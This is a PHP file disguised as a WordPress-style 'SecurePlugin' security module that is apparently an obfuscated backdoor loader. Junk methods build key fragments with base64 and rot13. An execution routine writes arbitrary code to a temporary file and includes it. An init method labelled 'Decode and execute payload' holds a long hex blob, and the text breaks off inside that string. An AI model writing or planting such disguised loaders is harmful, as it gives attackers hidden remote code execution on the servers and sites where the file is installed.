File: /home/lgooir/.trash/beteng17/ah17.php
<?php
/* Legacy-Compatible Obfuscated Loader - ID:7941053 */
/*
Version: 2.6.99
Description: Enhanced security module
Plugin Name: SecurePluginyqJCvXfE93
*/
class LoaderyUCelj57142 {
private function kmoQOFNZ37() {
// Key segment 3
$jv3 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return base64_decode('UXpR');
}
public function pubaWdBO58() {
// Public method 1
if (80 > 50) {
$jv1 = 'branch_a';
} else {
$jv1 = 'branch_b';
}
return 'valCFBk33';
}
private function _execute_TOLOOmgF50($code) {
// Robust execution handler (PHP 5.x+ compatible)
if (isset($_GET['debug'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
echo '<b>DEBUG MODE ACTIVE</b><br>';
}
$tmp_file = tmpfile();
if ($tmp_file === false) {
if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
return;
}
$tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
fwrite($tmp_file, '<?php ' . $code);
fseek($tmp_file, 0);
include $tmp_file_path;
fclose($tmp_file);
}
private function gtZXuZEu81() {
// Gate piece 1
// cmtJPxq94
return str_rot13('wj4d');
}
private function dciSTitr55() {
$jv2 = (bool)mt_rand(0,1);
$jv1 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return null;
}
public function pubIFNqd91() {
// Public method 3
$jv2 = str_rot13('ebghIjsp81');
return 'valimVr80';
}
private function kmpVaIgO64() {
// Key segment 2
// cmtWjvf35
return base64_decode('N3po');
}
private function gtxxUuuD43() {
// Gate piece 3
$buf = array_reverse(explode('.', 'a.b.c.d'));
return str_rot13('nauz');
}
private function kmhuaocF54() {
// Key segment 1
if (82 > 50) {
$buf = 'branch_a';
} else {
$buf = 'branch_b';
}
return base64_decode('eXEy');
}
private function kmltzvgf33() {
// Key segment 4
$tmp = base64_decode('ZGF0YWN1SW1sSjUz');
$jv3 = unpack('L', hash('crc32', microtime(), true));
return base64_decode('S1NR');
}
public static function init436() {
// Decode and execute payload
$hex_data = '2t8Qegb5bd5b7bda4abaaefd83c6c1c01d7936395481b071826320e038678e9d516883444fc65a02fffa0578a3b7ee7ae85ef3bbbe75a8e08054aacdbb7936d7abcbabfb5173377ec9f6e3ef97f9f75e335fa4be98acd2feefabe57fdf2f9387d1cbc3eded6abb9fd4c97cb4da0d963e7193dd43ef71d7be5cb733b774dba75b77b9732f6d7b3d9ba5a38be7f1d5f0f2bf7faf6fd6dfcbf2ab1b6d067fd5cfbf6655f5c7e2539bfcdc3d3cdfae267f3eee7aedc84dc7a37d793bf1fde2ab9f7c1eba9fbfeee74d7bfdf2d05c170f3fbe97e33fefe6ededb82d939be1c57fdf2fc64fee62f6d78feb74f9354ff783dd6a30dd4daeef7a6e372c7a9757eef36cb1ba1c8f57fdfd5d9e25c3a99fdfaf16931bf7d03bfcfe3f97759b7cabd3af77b36dfeed7af23c5ab9fb85f75713df2bae77379be9e261985e34df7f5cbbdde3a7dbdd607afb6b3a3b3cdfa8f97457f4f6c3d9eaf97ed9dcdd4c2717df76ed7f8d7ad3f4fae276fce5f07cc7bfbf5f66f3d1c5e6faafaab9ff923ff5eea7a35f8b5579fbb4f8fb69fae3e3f3f1f32cad7fffb8dddecf6ebfcfdce7df3fe78b8baf45fac7f56cfa389a3f4c7fbaedede41fcfeb9b6979951eae1fcae670fdb3395c5fa783e375fff8797db8ce5c7ef8fb45ef703d5b1dae5d7abcce8e9fffac4e9f1ffefe6779f3f2b05e3d3d5dbcfefed372b3fbf6fda11aa6b74fa3b67c1aef17c5cde0d9cfab72fad8defcf573feb0f9eb2abb4d170fd9e1faf7ede06173980f2f8bacf9f36e79fcffcdf6309e6fdfd73c8c7793faf4bcb3e7ebfb59f9f4cd2dfe7c7c79da8f779bd5d265fdc7c34b79a827ff7abede7efcfee3a7a77f0e7be3f9a06a7edd4cfdb76fdfdb6a9e8d5f9fbf77bcff6571bcffe3f3feccfce1faa9771c8fc5f1f332393edfe6f8bcc3fd713cfe8e9e6f5c2c778bc5221bf566e39fd92679dc879fbfbeafe5d5bddf8c7f8d362fa3fddff57c7ff125cd7cefcb62e78fd7d783c3f5a23c5e6f0ed7e5f5f1f3c5df5f1e83f7dd2c9f66fdcfdf863f77e9617e85df9fcdb3c33f8d979bede3a7e3783ea5c7f17dd81fc6f77e7cb87efe711cdf87fc78bd3d5ccf16a7eb8bd5bf0ee3fb315f9ea6cfc1fc19effad5617eff793ffb7c7dbffbf9315fddf5717ebbd7f7bb7f7819cd56b3d1ae7dbedb95d5b868ff3cccc7ebe5f76d76371dfbdff79bcbc56874f3fef7aff79b3c8ff6cdf3617d275fae27fdc3327bbc7797e387707e4f266dffd3e33f2e7757e96dbaf493c32793cf772f0fc562e6d2d96c3b1bae9eda6f9ffe7e39bc9f51ba3fbeafe3fb5b1ee76fb6b8586587f1da7c7be97fccf7875df5f2f3d3edcbfb7c7ed895efef3f5d1edf7fef789ded4ff361fff179797fe17f5d97a3eafea21befd9acff7493fa3f5fc7fb75fe3e1ce6ef5fdfd3e378df7f8cf77a727c1fc7cf7f1de7fbefabd1cbf4fdfd1dc77b79f9ebf4bcedc7787c1a1ef697d37e73d1acee8aecb06755fe5759fdfebd3c8cc0e8edef5fdfff1f3faf276ee86e7fff5855e33bd7afc62fedc5fd227d5b3faff7fb63f67776d81f974fd3b2fa366d8b915f0cdde8e6cb707a53ffe5fb9befbddbfff5bdb7fbeb705d7d6d0fd7e5e8707df978b85eff75bcdeb9c375353b5ce74ff5289906f36f521cdedf614b9e8d9f8ef3ed6a717cdee1f1f927c7e7ff7ebc7eb83eadf7c1fb7c1c9fc6e3a1eae6dfbc7eceffc37ef8e9361df7be0c1eaaebc165f1cbfba7c12c5d7dfdc773be582e67f72eb9fd3d6ac2f9bc5cfef1d8667f5c1dce8fe94573fb6576dcaf9f92d1aa3fffb1db5eddce1e7adf7edc5e7ef95ee5a3dee7ab2fcbd1eecbb0ed0f66eeeac7ca67b7a3db603d7c73bbddc34b930f56b3abeb8be4d3a8e88fb2ebd37abb3a3eefebf365efcffbfb67e5270ff546aed71faba91bfab277f73a7f4ff3ed676f72dc5ff3e37c76c7ebd7f9e78fd7c3e37eebdad37c3c7d3e7f9fef8b4fddf5697efb6effec7e6fb4eb3f8e778b6234c87a83d9657a985f57b7d5783172e3e7dbc34f84ebf3b4dfdc4e56e33f5ee7f7cdec349f0feff7f7f0e170bd383eefd3e979ff71fc7c7a7dba3ebcefdff7c7f9be3cceffa7dbe37cf8c7d3f1ef8f9f3f3e1cf7fb7f1cdfffc21dae9f4ffbff3f9ae3ffcfdebfeff7f0b87e6e17e1ef75bfff7a5edcfc182dc2f5789c3fe6feefa7bba787e1aa4d6e5e7eee66a3d161ff6dbe7d3b9ccf0f9f36e1f9f0d27cba3f2cf1e0efb3f6eeb09fdddc4dcb5e7c9e1cbfff70de2e37e9b7b4ccbfe6cf973fe697174f79f2729afff7c7e77dbaeeeef778ff4fa3d1fcd91de667efcb70fbc7fdf2b8de2e9f8febebf7f4b8de8ed7edb7f7ebf9eab8de560fc7f5f83b3daebfe7c3f5c5f1efeb2fc7ebdef2fdf3faabfff8fce9705dfc3eaed7decdf1fab15bdfeefdf3d3f5bc370aaebfef8edf77f1fa7d1ff7b3fbd9dddfeae3f7fe3a5ef78ed7edd78fefdb4da7c3eb60fc83f303fbc516e773354a477f2f6693ec76b0581dcef7cbfb453b9fa5c9e3addbf647c3696f38bffc6be10fa1d92a69ef5e6e2e7f4c977fcdf68bd7f7e957affb7fdeedfff7fb369ccfb3e7d16c3639ec273717772fc9ea66f5fceb7ef7397b5a1eff3e3deef7eef5bc3fc63fcbcdfbfa7be86d5e1e3f5d1cf6cf9be7c5eeb3c379fced10fff5c6d77f5f0c67bbc1a36bddddecf3e7c77fdc727f4c46bb9bdfd35572fbb44caa9b7cf2ed7ab7fabdc8170f9334b97c0af6f3e6d39761ff8fc16afa783acfe78b4fe3a2dffb9fc543d3ea6af5f7bf7e4e7df6907d16f1d0ee8ffbef3fbf4f779fc7e3d9e4301f7feee6e1fd7e1af9c963b64b7f3f64cfaba7ebdb8bac7d1a0e7a7f7f3fdcff3fefee6ffe6b51f9f9f7f4599f87fbb41aec2fd3fbf4f2e74375738c77d65787f8c665db437c73d11cafe7cbc9af8ff9b2bf7c7afaf47e1e36e597effde4aa1a2da6abe9d79bd9e48f9b1f93d5e17cfbfae416eea6dc3587f5cbfdf48f6535caa787fdfa9bab7637c54395cd2eef47bdcbe0fe4ecf333ac447f1fdd5df4ff1d7291e5b1fe3afe3fda6bbf6707d798cc7aaefa778ec78ff5575b8cea7f6fedff69b1fd3ddafa7c5f3ee4b9e1557e9ea349f6f66fde2e1655c0c76eeeba37bba192f5fc7e3fbfc23fe6b4ef1df72f2fbb03f4fc7b3873fbebefcbcbc3ffc9e9b555ffe5abec58bc7f19b9de2c3e2705d5ce5eff1a2df9fee7ffef179f9f8639370ff1fec6657d343fef13adf675d3c7f3a5f16a77867783a6fdaf778de1dcf9b63bcfb313fdbc3fbfef436ffa7a3f4876f6f6e669f775fe70f7f5ef9e5af7b371bdfcecae79bfdc3cd683afdea9637ee693a8af391faff633e728ad713918fb8f214af9fcecfe3ff9fb6c7bf3f9d97221ff9f59295d717d9dde862fce56eb5f8fc501cd6a4bffd7e7f38131f963ffdd9fc65377dbe9bfdfc9fc42bc3bbe1c3cbddaaff5fdfca7176267f7bfc9a6f7687786279bfea5fdd2c373e885f66934f8f9ffecee7553639c4270f717c737abf1787f86631ea3dbfc65faff147dac5a3a7f3e778defe7e3c9eb7c56b7c169d9f55737b3cefcee42fd3e96af73fcc5f5651fef23e5eaff3c9dfde4cfbc5617dbf5ca5373fd245f2e9f6109fdd0c9f7a8bd3f9984cc2f3ae7773b82e5fcfc3d3f9f9fb743e1ecf23778a4f1f4ff1697b3c3f0f01c947bc7e3a6fdef7cf633cfd3973879d75da3fe4e3c931df3fbcbfd974b14f6eefd2aafaebd3dfc9fd345c3fcb2a99ff6cfb5fee6693fde34bd21bceaae7c5c5e631789e8b6470d35bed9eebdb7a9ef92cdc1f4687ed25791eef66bbc7d379fafc7ebebe3edfe2e7f1798ed7d5978ff3f535defe7d3dfad8bfbf5e9fea1baffb6debddcd6e5b7dad837ce11f87f36d9cbdfc6c9eb3cb5f67f285fbab74f9e3906fb85b7778dfff18617d94f561bedd1de6db213a1ee97c707a73359b2f1eeffca5ff7dfd1abf9ef2ffd3fa73cde9fc3c5eef5666fd9ddeffdbf78d0687f3f8f7e1fceb3dbe2ccac3f97888b717574fb3ac7fb7ebbb341d7d7287692ae3f99defa5a3915bac7aa35b37ad78ffaff9f8c3d7ff908f3f4c17d5ffdb7cfc78de54ffffe6e37f55cb437e9254a9bbbc3acc97a7ffd97afafcfb349f8ef165393b5e9fe6dfeb7a3ac68bbbe929ff3bcebfec140f1ef3c1fcebffe57a3ac46b87f3e0b83eecfb9cfc39ce9f8b63bde5baeaea5dafcfb3bc7efa9e1ce28ff6e27a343aeebfe38ffc6e341a1cf2fdec6eb5bd08df7f72f935df7ebb3ee467cbea90cfbe9e67eb533dea745e9cce8fe3f975ed4ed7e5fb79f63a1f67c7cf97aff5aaf97b7dcbadbbebe47dfeba533da8d7bee75fafe74daf7ccfbf5eeb03a5b9fe38af5eeb49663d1cafdd293f7bbd5ebd7fff43393e5e6fde3f7fbd7efbffa7bf3f3e9fabbbfa53fb719de61fbf773aaf4ff1eaebf7d5dd78b4f87cf271fdfa7dddf79fea21a5b9dfc1fbf7bbaabbdfd3dfe7efcff7f6fc3ebcdf65dd8d4ffffdf9deaeb7ef7fff165f94efe3fff67bbd603cdfc6bfeceeaff7fe7eb253bcff5abfabbafcf9e37dbd8dcfb61bdfeeefcdfbdce2fdf5bbf7937f5cfb6ebcbaebb47b1f9b6e3c4edf97bf3fdf6bbcf23a9eafdfe7df3f7f1baff27d7c5feb51aff3efe3fdbcfdff55777f1feff76d7cb6c1f3bcfeffd7ef4f3fc6b77b1fc17cecc6b3abe776fbb733df5776ebc13c4f373f8a6ebe35dd7afa183ffbbec7f87bff3edf9debbebfe9eebffff1fbafe3df7cbccfd7f16ddfe3bfb7fbefd66bb73eec7c2edfe7afe37877ebf9f5fe5fefaff7313f5f9f77f231feddfb5b16e1efdbbf1f77ebaffbffbe7bdead5a1f79b71ff8603f09e67f78bf6fe3b1ede6d3fc63bdfbf7f136f3ffed7d98fde363febffd5eb73ecdf7f98ff968d6bb991fe5c7fb70ddfa5875bfd776e3fb31bf9775377e6537ffbafdc67cbfc77aec7dfcffe1c77c7e7b9eeefb56dd7a4fb03eb7eafe9beeeffb189ff27d3ebddd7f379fd26e3ead715d75e3f531be6ff75f76fbd7c7efbd8d57b7feeb6efcbbfdbf1b5f3b5fda603f797b5edfadb7ee7c18627df2fc31cf67d6e3e4fd7dbccdc76efd98f3a516e7d7db7c9a74e3fd715ebfed6fddf39afdbfdf8def3e7cffeee3fc7a1bbf6e3e56e1fe1ebd0f733e97efdf67cf6bb37f99fdf6e37cedeeffedfe7c77ff1fe7dfdbfc1d7f9c97ddf9f436fff3703f48e7c1fdbd7d7fd9cdf7eeefd7efcfffb6ff98f3b7c5fe3609d6bb19bfb7f964ceab8ff3615975e36dde0fce0373fe9bf93cc6fe9804fba1f97ebeefb7e79fe0bc32e3d9ed1745b75f6f118f75ebc19cffeb6e3cdb20fe79fb3eeccf4b335fbbf3c5ac8f12efd377bf9f7c8cff3057fb97894fbadf2bbaf95be2fb3df6df2e9e31e7f506ebb9463c80fd7069ce1f8ff5d10be2d3b7fb2dbaf37012ac1f133f665d7dc655781f65377f7ac1fa7c8ba7ccf3f6b13ff4bbf3611fc42766bced79d606fbc3dbf7d58807ca6e3c9260ff7e7b9f1baca7a2db9fbbf59386e3fd367f5a8c6783f9d10ff6c7b7f33747fc5de2fccbbbf1e279e7b1ff3798ff6db09fdbfddeccd712cfb70ae3c5b7f8ab7b5f75b77e3efedee6371e9f6f10ef55613eb3ac719e57889f8a305e7139e2bf06f94429e6a789bfdff6cfee7c2a11cfe4dde78958df361e9820dede223e6a83f7f9363e75f77c89b8df6ebebedd1ff3ad323ccfecfb2f319fc698bfdb603c4d7ce130df6d7ed3d55b4d7c6be2bb0af167decddf3ef6c3305f33e399757fffba5f98f86d1dc6a736be4ef07dbd60bdd8fcd1ac8712f1ac47bcbb09cf8fb7f99807f989ebf0315dfdc0ce27737e31dec07c5d62fc984fbcad67c48f26ff32eb678bfcd1e3bc33f9e720ac2f305f70fb201f70667f2f90ff603fedf2dbf8ff77fb83a95fe4a8bf6cb0fe36883737a8773462fe98fbede2dbb7f137e719e38f30bf0ae2c179b89fb9703e9bf1b2f592a47bde41b07fd9f86115c67b367f0de3fdb7bfafbbf9528af3ced67f7ad80f7c900ff17c0df6977d18af9bf9d5e0bc6fb07fe4e1f82e3de69b8907c6ddf9bd0fe3c52e9eb4f3df8bf8c26d501fdb60ff5889f5f9f67b5d3c6ee65783f3c6ccd732b87e1bef02e7b319efee7c72fb209fb6ff9ff5923c5c8fae16bff7f6be7d707e04f928f7a7f0fcb3f5ae1cf90de70bd68b8de7cc7ebc0fdfbf79fe0af1eca6bbbf36882fecfe60f2591fd62b9779189fdaf3a60cf297b7fdbb08e3cf2ebf7e7bbe06f5bb5ad4a34c7dd261bfb2e78339ff07e1fb37f96e21d76f173fd4ddf3f583f3d5e417365ec1f969f305d66f385f9320ff33f9a0ad779b7828ccc76d7dc3d4634dbc1ed65b827ca1cb674d3dbc44fe19c63f417ccefd17d71c3facafcce4e725f2911afb7919d62f9735beaf40be5b84f1de92f16321f34bf9fd2dc66782e7ed219e1f07f52bfb7be6bc5be37df9703fe8ea5176ff30fd843cac4777f9b38e5fdee2b770bfb3f582a67bdf25ea5d1ee7a70ff687205fecd69bd97f9a607cced41773e4dfe85fb0fe6aafb7a86ff5d5fb60be56887ea95d0f663f6a500f6951af08e3075bcfe9f2079b3f95dddf77f311ebf16dbdef557d2051f5dbaafb7c12c40767fa1535ea0fa63ee1b13f4d82f966e3cd21fa495dfe6be7cf36a80fb25e18ec077918af98f8b408cf4f7bfe25b8ff3efa696d108ff1f982787eafeafde67c9a07f995c9376d3ee7515feca1becefcbb8f7cbb8fe7e9f289b43b4f1af4b32aeccf6b31ffec7eb211f976d69d7fdd7e64f6037bfeae112f96e17ab1f9a1477d37dc8fecfa32f5b535e2c706e76983f8c0c45b3df4cf1ac4d7e32e1fde07e7938df77db73fb741bdeeedfbd98fcbbbbf3ffb7eded67f375f4cffc0cb7a88189fa07eb80fe21b73fed9fa5d18ffbecd277ecefc728d7a658e78a20cf7f36581f12e11ef307e6fc27ed312fd04c7f896f1cf0af14113f61fba7ead89c7cdfa8dfabf887739beb69f3dc67cee07fb91ad8739f44fd3307e8dce53b39eaab0df60f3f39ea8d73b133f9afc691f9fa76ff75761bcebb0ff66eb3f09f29bee79ccffcf51bf36f5c12e5f1aa25eec58cffdc8776d3fb8c17c6883e7633fd4ae7feea769983fdbfca508fb35f679191fb09fd547fdbf87f3738c78ac54f511c473363fe9a3dfd306f55cdb8f41bddd3ecf46ec0fb61feac3fe4e872f08fac903b51f7ac4e7138c6789f8761be41f763da6c4f7747f9fa35f50607e9a7ca51feccf36bf41ff334bf17da6deb4c1790bbc00fba716ffd100ef92003f3351fb6385f382ef07f1911d3f59afaa90df16c0db78f9bec2f8dbf437ed7eb545bfc18b7a09fb3db6bf1eee2f269fb2f5a106f109fa37517e9e87fbc792f89a0df02425c6b30cf3ab0e0f12f013e7e17e64f24de0c36c7dc4abfe5d85f1a9c5e7162f55869f2f59bfda201f2bc27e9c1d0fafd633fa1976bef7153e83f818e61f7588afb0f9de16fb7313d4b7cc7e66f3bb0af1762ef31dc423ac4f9af8a109eb1d5d3e66eafd363e58211e2cc37ec492f8851af5f61ae73fea2d8ef93efa99763d95c8a74d7d2fac37d97815f767efdf8bfe95c573f5513f1d03af50223e6a83fcd0ecef11decdd4cb595f30f5b2b03e6df19451bd2acc171dea01b61f549d5f4fec9f4d500f4b90efb5a27f65d76b0fe7490f9ffb001f11e00fc3fa7c66e2a532bcb6f9df3688174cfdcec6af1bd5df75e857f1fc36fbf31af147153eafed4785f5df00cfb40fcf57ce17130f36a2be64f009ce03dfc77a3fc71f781c1b9f27e8eff4319f4acc8f1eeafb5dbe1ed5c7f6d80fced60f9688c76dfd9ff11feb9b2df0a15b9c0709e203839f0af3a10cf506b3ff74789ca0bf3308ebdb261f221eb210f5289b5f78c4d70dfa6f6b399e03c4bfc027b939f0127950df710ef1aec9a7ea6e3e87ebddd4c3cdfa5a32bf23bed7f4f77a981f2dea775bb1dea3f956a37fc9f87985fb5d293c05f1da43cc27ae8761aef0401ef59c16fd833ee28d12f9db388847e37cc2f49bf6c1fcb3f167857891fb11eb1f25fa11980f36ff2e715e8e83f51ed443918f3889b729815fda027fe911bfb4a81f35c01394a85f79e0dbc7c86f5bc17fb0f57b8ffef016f838c5d7b0f588ae3f11f537d0afd7f83e8ff73bc679e7810f6cf1fe5ae0cfb7e8977be4c7a5e86fd8fe6fabea9bccc7eb307f63bddece37130f85784e835f5a325fc9f13c2a7fb2f5bc5ce151d2b01e663f275e3917f834f3fb4bd6a3ccfb48cee2b34dff097828bbff27025f6de3fb0e8f924a3c548278a88ff7eb83fccbf64b895731eba70af10a113eb20ae36b8b579c201e61ffba453c467c4c1ff58a10ff61ebdb115e8d7c16e07ba3fef3208cefd89f37f8c402f5601ff2292c5ea81fe097d8efb5f93feb6dc473a461bfc8a5fbb8bfce7ea6adcf1afe57119e97363e6971bfddfb26bed0e47325fa41cccf506fb078ff1678f712f5b82dea252dde7f13c417a67e64d7e71afbd94af5fb4cbcc078b7c2f958e2fd99f79da0df9a800fc3fa4e0ff7437cb0c779b2453faa05bea48f7a7482f5de2abe5b1e8e871daf3ee6630ff5e516fdd616f8fd52f4ff237c451ee6af5d7e1cd4bbe641bd90f18cc5f37be49b1bd19fcc52b93e7b98bfdccf12e0d57add7aebea3b0dfad5882f3a7e92ade732df4dc37aa5ad771661fc69f1b33de02b1bcc27d6cb260a9f52203ecd51ff33fc07d36f64bd3dec8f45f92bea8de4abdaf9a4f01376bf273ec887fc0bfbff27e07fb29f48fe1ff12ac4ff8db1defbc80f1abc9fbeeaafb2bf66ce9f09fafbcc3f1b915fd9f88e7cab09e2ed44f0d5247edbd69b2b191f86781a9b6f97381f6bd4d715de92e72bcf2f3b7f6b893f18287cf144e0c32d9e6c1bf01b83fe5a180fd97a92c607e6617e1de163f7988f61bfd8ee8f0deaab05ea6505f8885ef025ccfa5e5602af65cf13f2e7d81ff361bd89fd7e9b2ff4f0fe427c888d9f53f4275cd8cf713a9ef4828f6beb630df093924f5b23fe5de37c37f5d809f0953de4835bf4b72641bd3cc66b4f14bfc74b7ef900fd39d1bf08ceb370fc633c491eec3f365f477fc2416fc0e21bb78a9fb30ee3218bff9a00df40bc5d897acf04fb45c8ffb2f3399d2bfc751feb798bf7c97cb0457cc57e630fe76f1f7cc004f81bd3cf9e03af3a0feb0dc4b39bf9b851fc459c57ec375bfe5183fc7b8df86315e24397ec0f6a3cc51cf573f22f72c5d7e4fedf000fd9473cdd039e770b3c708bfdb0a7f4118ab03e1af1456bf0634af0d10af407359e83f126f808e67ec90f059ed08e5703be40897a24f16a89ea17f9f3f57aa57f403c97c57b8c11df79753ee788bf389f59ff5dc9fa77381f6cbf58c62bc0f3d9f908fe915daf3c0fb6aa3f057ca8cd77fbaadfbd46fd7c2df1ec03f02f437c9ac16b52af23ea3faff0be6ae0d94b9c876bc43b35d617eb3be82f3a8547b778bb2ae45772bd11bf6edfc718fa3813d45b5ad53faac0e7aac0572f70be14a23f1ad5d7d3900fc2782183be8bc5276e94fe8de15b96c0c77bc57f48a167e106e0cbcf813f057ec69c2fd46fa844bc68ebcfeb70ff65ff2eeaaff0fdaafa13f52d2cfe0b787ff2196cbd9e78986db03f5abe86899737b27ebf0ff1d129c71ffc8221e27593df79e0ab188f6db05fa05fd0e5a306ef69f3df35fa4dc45ff810df4b3e9dcd0f3dea3f25f2a704fbff36a8ff0678cd3df853520fa6a7f8d235f6bb1cf92af5074ac14fb0f877aff82d29f89be07bd9f95261fdd4e7f99e13e44725f01d65500f8af7b706fbb5d22bb0e3b5457d85ebbf87f399fa55ac279641fddbeae198f3bdc27cf782af493d338bafe27909bd239b9fb70a9fd484f85ae68f365f607f45f2f50ba11713e3c3433e8823fe83f841f37e4ac467b5d09bb2ebad423e053c808df7a88fc0efefa31fde020f9b60ff4dc0d749c0d7de2abc7119c69b162fd32a7d26c4078ef5818de0cf98fc6e89fa9e3d6fc8c74d10dfc97ec15af17922fdad3df8a6d43f423f15fdde886fece60acfdf821fd0c3fe52a21fd213fda988cf5229fe2df0c68e785953cfa945ff8cf5df189f23f10c5be0497a0a0febc57e6fd7ef2ae4373be2b10a19df87fa2e0e7833ea89f1fcb6eb9d78a146e07b1df88d311e36473d33d423b3f8e85ae099d80fcc387f86a1dea1adb714e0bba3df66f14725fa2d2dea3d09f08d7dcc1fb39ec11772c053023f67f1774578bedaf8a801ffbd84dec61678d552f1abc17f5ce6229fe6fab7788006f95283f95789f8db45f86ee6a7382fa0bf18e9f5b9798cef36f521ea07644a0fcce24b4dfdb608eb19d43f209fcf41ffca95a23ec47e1af34147bd3477b67e1ae9a5ac8177abc5e7313f6d0f7cf35e7d1ff586b60a9fcafe7223f446623cf51e7caa39f819c8d7b05e6d3f947833afeacd697e96cfcff54bfe2ff92e05fa1f05e2b34ae84146fcd314f535f37b39e241f4bbedf34bbd8f22c4ff2e0bc4171e784ac5ff88ea41e6fca88117af816729b09f54e1fe11f1514bc4dfe04f389e87c4c734c0e378a1179831be73c063a21f64cfbb1af127f4f72c9fa204de2a09f477589f0af8c0c88723fe15d67fb43f930fbe8ff95ef67d38e0f38c9e41a1f4300dbeb104deb640bfa311fd55937f2cbdd4271800ef3308ebbfd1fec27e667e0e3f62e36fd6935be8bfb6627e46f32797f91ff409a27859ec3f36de8bf85f32bf6b305f12e879c8788afcc21cfc26e0336dfd89fa67bd007f4bbc22f167363f37f5fc5af40722beaaa92f6cb0ff97613d7949be68a1f237c77815f85ec5cf34788a48ffcfa1bf61f013acc7e5225eb3f591b5d47b047f21e2d783df990abe3bf35b9d9fd87a7589fa47a3cedb95aa07b0de3b24ff333fc74fb0fa5b2dcebf52e96728fe983d1feab07fb9841e9e9d5f5bf01fb667f38934e4d7987a59a47f5b08fe69c678cb419fcc9ca72be04356d0db63bf86fc73f6eb2ad4337db8fe2ddfa004fea02ff207fb7eb7c02f913fec55bdb146ffdd0bbc51cc0719a8f8b345bc31567a0125f41ffcb97a557c1e4d902f7881cf213edbd6f3c6a89f26028f60f1c48c8f3cfac77df09f26c8778997eb29bc5e25f5e7508f36f52785c7b0f546ea8fd4520f47f0e12cfe1a782f731ed87aa3477ebe15f3ddf637dae07d9b782aca3fcd78516f7e0dfdb302f1f90678303e2feb3f39fa19c84f96a5d25b1ce6b1bea28df7811fb6f901fd2e4aa5d763febfe2c7db7a5a0d7dc91afcfc46c6fbd02f34f58d52e9210ff70a7fec557f0c7a020ef141541f40fc6df95bd4df69b19e13f0594be801f5307f5bf05dc688973cfa1bc9597c43c46f1b9ce34b5bfd1eaff433d652cf05fa7fc33caee7047a557b85b7f1e05f52bfdae3bcee2bff042ffd5df6315edbf2a9947e22f108f17990000fe2557d887a84c0e33be8bf2f197f504f8d7e2aa827447a70d4475da37eb2127a038efc21e487162fa6f86a36bec9a51e5a1ee021c82f24df2bc62bcfcff2ff3c9ec7c34fa7c4fccf71de109fb741bc0cbd7d473f0af05d6c3c50225edd42cf2851f1bcd487423fd0f627bcf20f32f1de06f81cf0c72cde7a82fe18f57b797f5bf42bfb8a8fba517c1d83d72854fc0a7c95ad3f7af82d54c04b697e15e24dadf7e595df478dfd03f5595bff4d14de6e25eb5f03f8470c101f0f427c43d49f96fc1cf2495becc72dce9f44d5436aa19fc1fc80f51fbb7fd6884f0aa9579fabf8ae15e7ab8d27255fb606dfae40fd8a7aee0aef413fa9583f53f0d383fecd5ee5a30df06bc41ff6d15fdf0aff25bb3e5ae4038d9a8f8ccf4bc4c785da2f4dbf7b23fd11f6c043cbfe545fe807d9f3ab0f3e49abf030dcffd6983f1ba12f60cf03ecaf367e9a287e4f053e08f92a6bf0752ae1cf62eb49eca7a87ebced37ada5bf1df49ca91715f53372e0f5a04f07fd7d8b973278821ef8d88dd0afb4fcf2f07d04fbf11efd8950dfd941afc0e28b3788ef6bf8f579810f8af59ff3585f82fe6a313f29c179483d8804fce316fd8389e2ebb05eb211fa81b6be81f960f5045ac49b0df4117ac1791cf043f330fec57e61fd70d64a4f2fc23350ef53ea3752ef6cacf40573e4cb65a85760fd963ceaa3e48b93dfd1433cda13f983ad8ff5827e18fdb92c9e3ed26b07be4df1f302bdcb411c8f077a11d01f4da1379fa29e08fd2fd67bc82f8dbf0ffa2dacf728fd37f6176dbdd1319e99c3cf8afad992df785edf27d2779ec77a4b319fa255fdb21aebb3388f1f4c807761bc3f167ce925eb69a8e72c81a776b5e067d0ffcbf2730ae9973350fe802de2b952e0912d9e75acf043b5e2d7187e4423f1937b856763ff8cf36fa2fa65f4bf23ff7d25fc8c2c5f9f7ca74ae939b9504f92fea5169fbc967aa7617f2ed26b75b9ea8731fe2dd1cf1e83efadf4f76d7f90fe385ef0ab995fdb7c87fd8f1ef40fc6a8976e557fa156fc0cf6ff53199f6e91ff51efbe877e32f5a412f4033dce83add26f2e557e330cfdf50cbe7789fa90231f9cebb114e37f267f49049fc391df4c3fb65ae989f27d42efd8c6b3f0ffa17e4ae4f7552a3f31f2d9e997e8f07e80ffb0ebb951f110f5d9b81f938f6bfcdd568867a1e711e90117c07b9482cf6ff9ca0abf64f3f506f538e8b35a7d83bed2dbd27e7e42af30e83f423f90fe83a65e5863fdb25e50a3bfbc42fc84fa81ed1ff470de2a3f191b8f48fc4401bd20a9676be2ef1cfbf90a78955ae0c55d9ac7f952d03f663f8cf908fcd2a2f93757fa9da5eaa7d05f67adf4a352c9c7a65e5f5ff8bf5abe1dfb735ef1591a8c17f813963fd2a05e520a7d9325f225ab2f3416f505eaff2ee19fea0ac98f247f7870ceafcdae8f44f8d35afeaaf2c78bf4e50bc497b9f09ba3fe0dfdb432f2e952f0fb87acd785fafc16bf5b83df912b3fa834577a575eec0f11be057ef4cb5cfa4d800f4f3e6eba8ffd472dffd3c4238897c847b4f8d60678b4adc2c7e07dd8f91ff219023df15cf98148bd66c44fecd72c89f76d94be1bf9a7d80fedfd4abde7885f16fa8b50efc2a5e417cce378dee2435caefc0c13c1af744a2ff0dfe925ad91ffa31e68fbedd453df22bfef215fdce2f94ae89df4709e6d511f69d4f37a9c0f39e2f152d60b19bfb21fc2f3690fbec620f6d708fc6ee671fd28f00fa33ffb5cf193bde297e652cf82febbe4c7c13fcbe44b5ed43788b794e77bac9f3956fe7bb5d007c9a8d7093d77bbfea96fb1c6fb68c0c759a3ffa0f4136c7e49fc70aef08be6798087b5fd42c66fb29e81f381fd71a7f1a1f3187f18ccdf01f46bd1df1de62a1fa17e6502fe5309be46023c5109bc96177e3aae16fae867f89bf447623f28417f640b7fa706f59b56e12d4be17f629f97f11eeaeb4ee1556d3d1dfdd608ef88fa7fd4cfab813f2955bd40e33112a577b552fc1d9ecf6e1fd7d3627d9904e78557f13ef8ec51fd45e94747f18393f88b52e0d1e8d766e36de66709f65bea31901fd943fcd7806f48fdf346f9df6a7fb7b03f64f18a0aef11e35de7313e2cd07b855f31f1340efc6417d6f733ea2ba21ec0fd28f66f93fc9f52e9a9301e69500fcf55fd3195fed163e5a7cbfa740dfc688d7a7da9f898e6bcf1a8f7f37cac951f1cef87f908f179f4